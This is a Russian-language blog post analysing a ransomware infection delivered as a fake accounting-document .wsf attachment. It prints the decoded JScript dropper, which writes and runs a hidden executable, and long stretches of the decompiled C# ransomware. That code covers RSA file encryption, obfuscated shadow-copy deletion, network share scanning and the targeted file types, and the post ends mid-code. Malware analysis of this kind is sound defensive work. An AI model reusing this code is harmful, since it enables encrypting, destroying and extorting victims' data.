Итак, очередной криптолокер зашифровал файлы в небольшой конторе, стандартная проблема современности. Приехал посмотреть, и случилось чудо — письмо с заразой не удалили. Записал ссылку с которой грузится файл с заразой, прочитал лекцию о важности бэкапов, перенес зараженные файлы в отдельную папку до лучших времен и покинул расстроенных бухгалтеров.
Дома решил посмотреть как происходит заражение, и проанализировать, может есть шанс восстановить данные. Что из этого вышло — под катом, добро пожаловать!
Заражение
Доставка криптолокера — по email, письмо похоже на рабочее, видно что точечная рассылка, для конкретной конторы, электропочта есть на сайте организации. К письму как бы приаттачен файл в формате архива *.rar с привлекающем любого бухгалтера названием «акт сверки №317 сформировано 1С 09112017.rar», но на самом деле, при наведении курсора на файл видно что файл был размещен на файлохранилище bitly.com ввиде короткой ссылки, ссылку не привожу, по понятным причинам. Ссылка ведет на реальный архив «акт сверки №317 сформировано 1С 09112017.rar». Внутри архива — «файл акт сверки №317 сформировано 1С 09112017.wsf», который и был запущен, что и привело к шифрованию файлов. Итог — файлы стали вида — "%имя файла%.%расширение файла%.t20ajvx21j" — пример: «Koala.jpg.t20ajvx21j». На рабочем столе файлы «HOW--TO--RETURN--YOUR--FILES.jpg» — содержит информацию с инструкциями (картинка в заголовке) и «ssda.far» — назначение файла будет описано ниже, как и список расширений.
Как описано в инструкции послали файлы на указанный адрес, естественно взяли самый важный файл. В ответ довольно быстро пришло письмо с расшифрованным файлом и требованием перечислить сумму в размере 0.03 btc, по курсу на тот момент 12390 рублей. Бухгалтеры оценили потери, и решили не платить вымогателю, благо что 1С уже была перенесена в облако. Да и остальные файлы были дублированы. Обошлось малой кровью.
На компьютере жертвы установлен был Kaspersky Free, но он промолчал.
Скрипт — содержание и анализ
Итак файл: «файл акт сверки №317 сформировано 1С 09112017.wsf». Размер 141 693 байта.
Приведу небольшой код чтобы было понятно с чем мы имеем дело:
<job id="EVHQQ">
<script language="JScript.Encode">
#@~^GikCAA==&JeMCeCeeCeCMeCeMeCeMMCeeCMeCeeCMMeCeCeMeMMCeMeCMeCeMM@#@&\C.,ls']vtk^MWkWB3B6ORoHJf}HvSE4k 4m/++*v~EUm.k2Oc?4+^sBBB)9}fA jDDnlsvBBd4+^VRmwask1lOkKxvDp@#@&7CD,fH}~xP +SP)mOr7+pr(%+1YcC^$!Dbp@#@&\m.,2J}P{Pftrc^DlO+AVnhxYvEl6;lrbI@#@&\wnxD-
.....вырезано.....
</script></job>
Файл зашифрован с помощью JScript.Encode и не читабелен. Для расшифровки использовался инструмент найденный на Github — Windows Script Decoder 1.8
После расшифровки получили читабельного вида файл:
<job id="EVHQQ">
<script language="JScript.Encode">
//****************************************************
var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];
var DMO = new ActiveXObject(al[0]);
var ELO = DMO.createElement("afqa");
vFP=rvpa();
ELO.dataType = al[1];
if (vFP==3.5) {ELO.text = gvp3()}
else {ELO.text = gvp4()}
ELO.text = gvp4();
ELO.text=ELO.text.substring(8);
var dot= ELO.nodeTypedValue;
sfile();
strt(noome2);
function gvp3(){
var t="ASTADA//TVqQAAMAAAAEAAAA//G4AZQBrAGUAegAxAC4AZQB4AGUAAAAAAC4ABwABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbgBlAGsAZQBtAGEAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....Очень много вырезано....
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAMAAAASDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
return t;
}
function setname(){
if (vFP==3.5) {var sn='eselp3.ax'}
else {sn='eselp4.ax'}
return sn;
}
function strt(n){
W1S = new ActiveXObject(al[2]);
W1S.Run('cmd.exe /C '+n, 0, false);
}
function sfile(){
var foso = new ActiveXObject(al[2]);
noome2 = foso.ExpandEnvironmentStrings("%AppData%")+"\\"+setname();
var aod=new ActiveXObject(al[3]);
aod.Type=1;
aod.open();
aod.write(dot);
aod.saveToFile(noome2,2);
aod.close();
}
function gvp4(){
var t="ASTADA//TVqQAAMAAAAEAAAA//QBtAGEALgBlAHgAZQAAAAAALgAHAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABuAGUAawBlAG0AYQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAwAAADIMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....Очень много вырезано....
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
return t;
}
function rvpa(){
var wFRI= 0x10;
var wFFO= 0x20;
var rv=4;
var oWS= GetObject("winmgmts:\\\\.\\root\\CIMV2");
var cItems = oWS.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", wFRI | wFFO);
var eItems = new Enumerator(cItems);
var objItem = eItems.item();
if (objItem.Caption.indexOf('Windows 7')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows 2003')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows 2000')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows XP')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows Vista')>0) rv=3.5;
return rv;
}
</script>
</job>
Работа скрипта:
al — хранит массив названий объектов ActiveX которые будут использованы в скрипте:
var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];
Обращение к переменной происходит по индексу — пример «al[1] значит — bin.base64»
var DMO = new ActiveXObject(al[0]);
var ELO = DMO.createElement("afqa");
Создается объект DMO Microsoft.XMLDOM и в нем создает узел элемента с именем «afqa» в переменную ELO.
ELO.dataType = al[1];
if (vFP==3.5) {ELO.text = gvp3()}
else {ELO.text = gvp4()}
ELO.text = gvp4();
ELO.text=ELO.text.substring(8);
var dot= ELO.nodeTypedValue;
sfile();
Функции gvp3() и gvp4() — возвращают текст в котором закодированы бинарные файлы с помощью base64.
Элементу ELO назначается тип данных — bin.base64 и, в зависимости от версии ОС, присваивается значение поля text = текст кодированного бинарного файла в формате base64.
Потом копируется текст из ELO в ELO начиная с 8-го символа. Затем в переменную dot помещается файл в раскодированном виде.
Переменная vFP хранит возвращаемое значение функции rvpa() — которая в зависимости от версии Windows возвращает rv=4 для Windows 8 и выше, а для Windows XP- Windows 7 rv=3.5.
Функция sfile() — сохраняет файл в папке «C:\Users\%user%\AppData\Roaming» с именем получаемым из функции setname() — «eselp3.ax» или «eselp4.ax» в зависимости от переменной rv.
Полное имя файла помещается в переменную «noome2» — «C:\Users\%user%\AppData\Roaming\eselp3.ax»
И наконец вызов функции strt(noome2) стартует файл, с помощью 'cmd /c %путь к файлу%'.
Если изменить расширение файла на .exe, то можно увидеть свойства файла:
Тут можно увидеть название исходного файла «nekema».
Бинарник
Для анализа использовались инструменты:
.NET Reflector 9.0
SharpDevelop 4.3
Запускаем Reflector и загружаем файл. Видим структуру:
Нас интересует nekez1, сохраняем исходный код для анализа:
namespace nekema
{
public class Form1 : Form
{
private int blocksize = 0xf5; //245 размер блока.
private IContainer components = null;
private List<string> extensions = new List<string>(); // список расширений
private List<string> FullList = new List<string>(); // список шифруемых файлов
private string keyCode; // Расширение зашифрованных файлов. Рандомное значение.
private string keyfile = ""; // Хранит название файла "ssda.far"
private string kfExt = ""; // расширение файла "far"
private string kfName = ""; //имя без расширения "ssda"
private static readonly int MAX_PATH = 260; // максимальный путь
private string pbK = ""; // Публичный ключ для шифрования ключей которыми шифруют файлы.
private string privateKey = ""; // Ключи которыми шифруют файлы приватный и публичный
private string publicKey = ""; // Публичный ключ которым шифруются файлы.
private int repeatCount = 3; // Количество строк шифрования
private List<string> SpecFolders = new List<string>();
private string vNF = ""; // имя файла HOW--TO--RETURN--YOUR--FILES.jpg
private byte X = 0x91; // // Значение для расшифровки в функции DEXOR = 145
////// сохранение картинки с требованиями выкупа из ресурсов HOW--TO--RETURN--YOUR--FILES.jpg
private void AddNote(string f)
{
string currentDirectory = Environment.CurrentDirectory;
if (f != currentDirectory)
{
try
{
if (!File.Exists(f + @"\" + this.vNF))
{
Resources.ne5.Save(f + @"\" + this.vNF);
}
}
catch
{
}
}
}
//////// Шифрование файлов - основная процедура
private void CF(string f1)
{
byte[] destinationArray = new byte[this.blocksize];
try
{
byte[] sourceArray = File.ReadAllBytes(f1);
if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
{
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
provider.FromXmlString(this.publicKey);
byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
for (int i = 0; i < this.repeatCount; i++)
{
Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
byte[] buffer5 = provider.Encrypt(destinationArray, false);
Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
}
Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
try
{
File.WriteAllBytes(f1, buffer3);
File.Move(f1, f1 + this.keyCode);
}
catch
{
}
}
}
catch
{
}
}
////// Шифрование с помощью публичного ключа основных ключей для шифрования - ключевая функция
private string CryptKey(string s)
{
string str = "";
byte[] array = new byte[s.Length];
byte[] destinationArray = new byte[this.blocksize];
byte[] bytes = new byte[this.blocksize + 11];
double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
if (s.Length < (num * this.blocksize))
{
int length = s.Length;
for (int i = 0; i < ((num * this.blocksize) - length); i++)
{
s = s + " ";
}
}
array = Encoding.Default.GetBytes(s);
Array.Reverse(array);
try
{
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
provider.FromXmlString(this.pbK);
for (int j = 0; j < num; j++)
{
Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
bytes = provider.Encrypt(destinationArray, false);
str = str + Encoding.Default.GetString(bytes);
}
}
catch
{
}
return str;
}
///// Удаляет теневые копии файлов
private void DelS()
{
byte[] a = new byte[] { 0xe7, 0xe2, 0xe2, 240, 0xf5, 0xfc, 0xf8, 0xff, 0xbf, 0xf4, 0xe9, 0xf4 };
byte[] buffer2 = new byte[] {
0xd5, 0xf4, 0xfd, 0xf4, 0xe5, 0xf4, 0xb1, 0xc2, 0xf9, 240, 0xf5, 0xfe, 230, 0xe2, 0xb1, 190,
0xd0, 0xfd, 0xfd, 0xb1, 190, 0xc0, 0xe4, 0xf8, 0xf4, 0xe5
};
Process process = new Process {
StartInfo = {
FileName = this.DeXOR(a, this.X),
Arguments = this.DeXOR(buffer2, this.X),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
Verb = "runas"
}
};
try
{
process.Start();
}
catch
{
}
}
///// Расшифровка строк из массива байтов в строку с помощью XOR
private string DeXOR(byte[] A, int x)
{
string str = "";
byte[] bytes = new byte[A.Length];
for (int i = 0; i < A.Length; i++)
{
bytes[i] = (byte) (A[i] ^ x);
}
return (str = Encoding.Default.GetString(bytes));
}
///// Основная функция стартующая всё.
private void Init()
{
this.Prep(); // Инициализация
this.SaveNotes(); // Сохранение картинки и файла ключей
this.GetDrives(); // Получение дисков
this.NetScan(); // Сканирование сети
this.SetDesktopWallpaper(); // Должно видимо быть установка картинки в качестве обоев, но не работает
}
private void Prep()
{
int num5;
// Строка a = ssda.far
byte[] a = new byte[] { 0xe2, 0xe2, 0xf5, 240, 0xbf, 0xf7, 240, 0xe3 };
//buffer2 = HOW--TO--RETURN--YOUR--FILES.jpg
byte[] buffer2 = new byte[] {0xd9, 0xde, 0xc6, 0xbc, 0xbc, 0xc5, 0xde, 0xbc, 0xbc, 0xc3, 0xd4, 0xc5, 0xc4, 0xc3, 0xdf, 0xbc, 0xbc, 200, 0xde, 0xc4, 0xc3, 0xbc, 0xbc, 0xd7, 0xd8, 0xdd, 0xd4, 0xc2, 0xbf, 0xfb, 0xe1, 0xf6};
//buffer3 = <RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
byte[] buffer3 = new byte[] { 0xad, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf, 0xad, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xba, 0xf7, 0xd7, 200, 0xf8, 0xde, 0xa8, 210, 0xd9, 0xa8, 0xf8, 0xcb, 230, 230, 0xeb, 0xfd, 0xe2, 0xc0, 0xa2, 0xc9, 0xba, 0xe0, 0xcb, 0xa6, 0xc4, 0xe8, 0xe9, 0xa3, 0xa8, 0xa1, 0xde, 0xf9, 0xcb, 160, 0xc6, 0xe7, 0xdd, 0xe5, 0xa7, 0xf2, 0xfc, 0xd5,0xf5, 0xa4, 0xfe, 0xc3, 0xe2, 0xdd, 0xfe, 0xd9, 0xdd, 0xff, 0xfe, 0xd6, 230, 0xe2, 160, 210,0xc6, 0xd7, 220, 0xde, 0xd6, 0xd7, 0xfb, 0xe5, 0xf3, 240, 0xc3, 0xde, 0xc2, 250, 0xc5, 0xf6, 0xa2, 0xc6, 0xba, 0xa6, 0xa3, 190, 0xc5, 0xfb, 0xeb, 0xd9, 250, 0xe4, 0xc1, 0xe1, 0xa3, 0xc6,190, 0xc3, 210, 0xa6, 0xd7, 0xd3, 210, 0xa5, 0xdb, 0xe1, 0xf6, 0xf6, 0xe4, 210, 0xf8, 0xa5, 0xe9, 0xa5, 0xe8, 0xf4, 0xa5, 0xd9, 0xd4, 230, 0xc3, 250, 0xc0, 0xa6, 0xa4, 0xe5, 0xd9, 0xf9, 0xf8, 0xf6, 0xa1, 0xa9, 0xf9, 0xc3, 0xda, 0xfc, 160, 240, 0xa6, 230, 0xfd, 230, 200, 0xfd, 0xa9, 0xeb, 0xdd, 0xd0, 0xeb, 220, 0xa9, 0xd0, 230, 0xc5, 0xc1, 0xdd, 0xf9, 0xa6, 0xa6, 0xa1, 220, 0xde, 0xeb, 0xc1, 0xe0, 0xd7, 160, 0xf7, 0xdb, 220, 0xda, 0xcb, 210, 0xd0, 0xe5, 0xf5, 0xc4, 0xf6, 0xd8, 0xda, 0xf5, 200, 0xdf, 0xd0, 250, 0xe3, 0xc1, 160, 0xa9, 0xe2, 0xc3, 0xf3, 0xe2, 0xf9, 250, 0xd6, 0xdf, 0xfb, 230, 0xfb, 220, 0xf9, 220, 0xdd, 0xdf, 0xf3, 0xda, 0xc5, 240, 200, 0xf7, 0xfe, 0xa2, 0xe0, 0xd8, 0xc2, 0xa5, 0xe7, 0xe5, 0xc7, 0xc4, 0xc0, 0xe5, 0xf2, 230, 0xba, 0xf6, 0xa8, 0xe8, 0xe2, 0xa2, 0xcb, 0xd7, 0xcb, 0xf4, 0xe5, 0xda, 0xd4, 0xfd, 0xa1, 0xcb, 220, 0xdb, 0xd4, 0xe1, 0xa5, 0xc9, 0xa6, 0xf3, 0xa5, 0xd9, 0xda, 0xa8, 0xe7, 0xe0, 0xc4, 0xfe, 0xf9, 0xc1, 0xd3, 200, 0xf7, 0xd3, 0xe2, 0xeb, 0xc9, 200, 0xa7, 0xf8, 0xfe, 0xff, 0xa4, 0xfc, 0xa4, 0xe5, 0xc2, 0xc2, 0xf7, 0xf9, 0xdb, 0xda, 0xa7, 0xde, 0xc9, 0xa3, 0xd9, 0xc1, 240, 0xc4, 0xa7, 0xc3, 0xd5, 0xf2, 240, 0xfb, 0xc5, 0xf4, 0xd4, 0xf2, 0xfc, 250, 0xa8, 0xf8, 0xe5, 0xa8, 0xe9, 0xa6, 0xa2, 0xf5, 0xe3, 0xdb, 0xfd, 0xf4, 0xcb, 160, 0xd6, 0xba, 0xe5, 0xc7, 0xf6, 0xdd, 0xa7, 0xf5, 0xe4, 0xdd, 0xc9, 190, 0xe4, 0xde, 0xc6, 0xc1, 0xc7, 0xe8, 0xf8, 0xa1, 0xe3, 0xf9, 0xe8, 0xe7, 200, 0xfc, 0xc3, 0xe3, 0xd6, 0xdf, 0xf2, 0xd8, 0xc0, 0xac, 0xac, 0xad, 190, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xad, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xd0, 0xc0, 0xd0, 0xd3, 0xad, 190, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xad, 190, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf};
// Если Windows Vista и выше - то удаляет теневые копии.
if (Environment.OSVersion.Version.Major > 5)
{
new Thread(new ThreadStart(this.DelS)).Start();
}
// расшифровка значений из массивов байтов в строки...
this.pbK = this.DeXOR(buffer3, this.X);
string str = this.DeXOR(buffer2, this.X);
this.vNF = this.DeXOR(buffer2, this.X);
this.keyfile = this.DeXOR(a, this.X);
this.kfExt = this.RetFExt(this.keyfile);
this.kfName = this.RetFName(this.keyfile);
this.keyCode = ".";
// вычисление расширения для шифрованных файлов
Random random = new Random();
random.Next(0x61, 0x7a);
for (int i = 0; i < 1; i++)
{
this.keyCode = this.keyCode + Convert.ToChar(random.Next(0x61, 0x7a)).ToString();
}
string[] textArray1 = new string[] { this.keyCode, (DateTime.Now.Day + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), (DateTime.Now.Month + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString() };
this.keyCode = string.Concat(textArray1); // таким будет расширение файлов после шифрования...
// Создание списка папок для исключения из шифрования...
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
folderPath = folderPath.Substring(0, folderPath.ToLower().IndexOf(@"\system"));
string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
this.SpecFolders.Add(folderPath.ToLower());
this.SpecFolders.Add(str3.ToLower());
this.SpecFolders.Add(this.DeXOR(new byte[] { 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xc3 }, this.X));
this.SpecFolders.Add(this.DeXOR(new byte[] { 0xb5, 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xbf, 0xd3, 0xd8, 0xdf }, this.X));
this.SpecFolders.Add(this.DeXOR(new byte[] {
0xc2, 0xe8, 0xe2, 0xe5, 0xf4, 0xfc, 0xb1, 0xc7, 0xfe, 0xfd, 0xe4, 0xfc, 0xf4, 0xb1, 0xd8, 0xff,
0xf7, 0xfe, 0xe3, 0xfc, 240, 0xe5, 0xf8, 0xfe, 0xff
}, this.X));
/*
Исключеные папки...
c:\windows
c:\program files (x86)
RECYCLER
$RECYCLE.BIN
System Volume Information
*/
/// Создание списка расширений
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfd, 0xf5, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 240, 0xe9 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf4, 0xe1, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 160, 0xf2, 0xf5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xf5, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 0xfb }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 240, 0xe3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xa6, 0xeb }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 240, 0xe3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xeb, 0xf8, 0xe1 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 0xf8, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf6 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf8 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf3, 0xfc, 0xe1 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xff, 0xf6 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5, 0xe3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe2, 0xf5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf4, 0xf6 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2, 0xe9 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2, 0xe9 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5, 0xe9 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf2, 0xf2, 0xf5, 0xf3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 0xe5, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe5 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe2 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf6 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xe3, 0xa3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xf4, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xe3, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xe3, 0xf7 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 230 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xa3 }, this.X));
this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xf7 }, this.X));
/*
* Затрагиваемые расширения файлов:
.cd.ldf .mdf .max .dbf .epf .1cd .md .db .pdf .ppt .xls .doc .arj .tar .7z .rar .zip .tif .jpg .ai .bmp .png .cdr .psd .jpeg .docx .xlsx .pptx .accdb .mdb .rtf .odt .ods .odb .odg .cr2 .nef .nrf .orf .arw .sr2 .srf
*/
// получение сетевых путей
List<string> list = new List<string>();
Process process = new Process {
StartInfo = {
FileName = "cmd",
Arguments = "/C net view",
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
try
{
bool flag4;
process.Start();
string str4 = process.StandardOutput.ReadToEnd();
int startIndex = 0;
int index = 0;
goto Label_0A8B;
Label_0A48:
startIndex = str4.IndexOf('\\', startIndex);
if (startIndex == -1)
{
goto Label_0A98;
}
index = str4.IndexOf(' ', startIndex);
list.Add(str4.Substring(startIndex, index - startIndex));
startIndex = index;
Label_0A8B:
flag4 = true;
goto Label_0A48;
}
catch
{
}
Label_0A98:
num5 = 0;
while (num5 < list.Count)
{
Process process2 = new Process {
StartInfo = {
FileName = "cmd",
Arguments = "/C net view " + list[num5],
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
try
{
process2.Start();
string s = process2.StandardOutput.ReadToEnd();
byte[] bytes = Encoding.GetEncoding(0x4e3).GetBytes(s);
char[] separator = new char[] { '\r', '\n' };
string[] strArray = Encoding.GetEncoding("CP866").GetString(bytes).Split(separator);
for (int j = 0; j < strArray.Length; j++)
{
if (strArray[j].IndexOf("Диск") > -1)
{
this.FullList.Add(list[num5] + @"\" + strArray[j].Substring(0, strArray[j].IndexOf("Диск")));
}
}
}
catch
{
}
num5++;
}
/// Создание криптопровайдера для шифрования...RSA 2048
RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
this.publicKey = provider.ToXmlString(false); // Только публичный ключ в XML
this.privateKey = this.CryptKey(provider.ToXmlString(true)); //Публичный и приватный ключи в зашифрованном виде...
}
///// Сохранение файла ключей для расшифровки в файл ssda.far
private void SaveKey(string f, string k)
{
string str = this.keyfile.Substring(0, this.keyfile.Length - 4);
if (!File.Exists(f + @"\" + this.keyfile))
{
try
{
File.WriteAllText(f + @"\" + this.keyfile, k);
}
catch
{
}
}
else
{
try
{
File.WriteAllText(string.Concat(new object[] { f, @"\", str, this.AmountFiles(f), ".", this.kfExt }), k);
}
catch
{
}
}
}
///// Сохранение файлов картинки и файла ключей на рабочем столе и в папке пользователя
private void SaveNotes()
{
List<string> list = new List<string> { // создаем список с папками
